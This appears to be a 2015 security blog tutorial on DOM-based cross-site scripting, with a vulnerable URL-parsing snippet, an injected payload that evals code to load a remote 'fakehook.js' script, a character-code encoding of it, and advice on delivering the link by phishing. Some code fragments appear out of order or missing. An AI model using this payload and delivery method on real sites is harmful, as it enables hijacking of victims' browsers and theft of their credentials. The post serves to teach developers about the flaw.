We've talked about XSS (Cross-Site Scripting) before on this blog. I thought it would be good to walk-through a form of XSS that we really haven't covered yet called DOM (Document Object Model) XSS. The prior discussions we've had about XSS have revolved more around Store and Reflected XSS. Stored XSS is where the XSS attack was stored server-side likely in a database table and is loaded over and over from the database every time any user goes to a particular page. Reflected XSS is where the browser sends an attack request to the web server, and the web server responds back (or reflects) that attack back to the end user. Both Stored and Reflected XSS involve server side communication, thus there is a chance if done correctly for the Server to sanitize or block the XSS attack prior to it ever hitting the user. Another type of XSS worth talking about is DOM XSS. This attack is purely client-side, the request likely never makes it to the server and thus the Server has no way of protecting the user against the attack. The only forms of protection would be proper coding by the developer or the browser itself detecting and blocking the attack. It is possible, depending on how the attack is performed, that the server might log the web request but by then it might be too late and the attack may have occurred already. But there are also methods or ways using the # character (hash/pound) for an attacker to even prevent these DOM attacks from even being logged to the server thus the attack may go completely unnoticed.
Let's say I have a website and a url that looks like this hxxp://myurl.com/domxsstest.html?userid=123456
console.log('debug: userid found was \'' + userid + '\'');
var myurl = window.location.href;
var useridstartindex = myurl.indexOf("userid=") + 7;
var userid = myurl.substring(useridstartindex,myurl.length);
var calllogfunction = 'logUserId(' + userid.toString() + ')'
First to understand the concept, basically the attacker can control the value of the calllogfunction variable and can inject his own code into it that will execute against the browser and run in the origin/scope of the domain it's on (such as myurl.com). This can be very bad and can lead to malware, keystroke logging, drive-by downloads, credential theft, internal network recon, and much more.
At a super high level, we'd expect the calllogfunction variable to end up containing this
But in my example below, as the attacker I am able to change the value of the calllogfunction variable to something such as below where I completely control 'my evil code'
logUserId(12345);eval('my evil code')
As a more realistic example I'm going to make it look like this.
logUserId(12345);eval(s=document.createElement('script'); s.src='http://neonprimetime.blogspot.com/fakehook.js'; document.getElementsByTagName('head').appendChild(s))
If we quickly run through this code, here's what it does
The above line logs the userid as the developer desired.
So now to make this attack work, we simply need to adjust our url and get the victim user to click our adjusted url.
The first thing the attacker would do is take the evil code above (s=document.createElement........), drop it into a free utility like this one that converts the evil string code to integer character codes such as these ( 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 115, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 110, 101, 111, 110, 112, 114, 105, 109, 101, 116, 105, 109, 101, 46, 98, 108, 111, 103, 115, 112, 111, 116, 46, 99, 111, 109, 47, 102, 97, 107, 101, 104, 111, 111, 107, 46, 106, 115, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 41, 59 )
Then you throw this link into a phishing email or submit it to a message board or via social media messaging and get somebody to click on it. They're more likely to click on a link like this because even if they hover over the link and manually review it with their eyes prior to clicking, they'll see that the url is coming directly from their trusted url (myurl.com) so they'll be satisfied and click. But once they click, they're hooked, they're infected, and the bad guy has what he wants, control over that browser.
You can test out the code from the pastebin link above locally and watch as we discussed that the console will get logged the userid just as expected
Hope this helps and remember to never underestimate an XSS vulnerability. If one shows up on your website, get your developers to fix it ASAP.
Credit goes to the Browser Hacker's Handbook for giving me the initial intro.
More about neonprimetime
Top Blogs of all-time
- pagerank botnet sql injection walk-thru
- php injection ali.txt walk-thru
- php injection exfil walk-thru
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.